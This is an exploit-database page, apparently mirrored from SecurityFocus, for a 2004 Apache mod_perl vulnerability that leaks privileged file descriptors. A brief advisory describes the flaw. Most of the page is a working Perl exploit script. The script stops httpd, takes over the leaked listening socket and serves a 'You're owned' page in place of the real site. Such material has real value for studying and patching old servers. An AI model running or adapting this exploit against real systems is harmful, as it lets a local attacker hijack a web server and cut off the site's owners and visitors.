Apache 2.0.4x mod_perl – File Descriptor Leakage (3)
漏洞ID | 1054372 | 漏洞类型 | |
发布时间 | 2004-01-21 | 更新时间 | 2004-01-21 |
CVE编号 | N/A |
CNNVD-ID | N/A |
漏洞平台 | Linux | CVSS评分 | N/A |
|漏洞详情
漏洞细节尚未披露
|漏洞EXP
source: http://www.securityfocus.com/bid/9471/info
A vulnerability has been reported to exist in the Apache mod_perl module that may allow local attackers to gain access to privileged file descriptors. This issue could be exploited by an attacker to hijack a vulnerable server daemon. Other attacks are also possible.
It has been reported that multiple file descriptors, are leaked to the mod_perl module and any processes it creates. This allows for Perl scripts and any processes they spawn to access the privileged I/O streams.
#!/usr/bin/perl
use POSIX qw(setsid);
if (!defined(my $pid = fork)) {
print "Content-Type: text/htmlnn";
print "cannot fork: $!";
exit 1;
} elsif ($pid) { # This is the parent
sleep(1);
print "Content-Type: text/htmlnn";
print "<html><body>Exploit installed</body></html>";
system '/usr/sbin/httpd2 -k stop';
sleep(2);
exit 0;
}
# This is the Child
setsid;
sleep(2);
my $leak = 4;
open(Server, "+<&$leak");
while (1) {
my $rin = '';
vec($rin,fileno(Server),1) = 1;
$nfound = select($rout = $rin, undef, undef, undef);
if (accept(Client,Server) ) {
print Client "HTTP/1.0 200 OKn";
print Client "Content-Length: 40n";
print Client "Content-Type: text/htmlnn";
print Client "<html><body>";
print Client "You're owned.";
print Client "</body></html>";
close Client;
}
}
相关推荐: Windows NT CVE-1999-0226 Denial-Of-Service Vulnerability
Windows NT CVE-1999-0226 Denial-Of-Service Vulnerability 漏洞ID 1209194 漏洞类型 Failure to Handle Exceptional Conditions 发布时间 1999-01-0…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
恐龙抗狼扛1年前0
kankan啊啊啊啊3年前0
66666666666666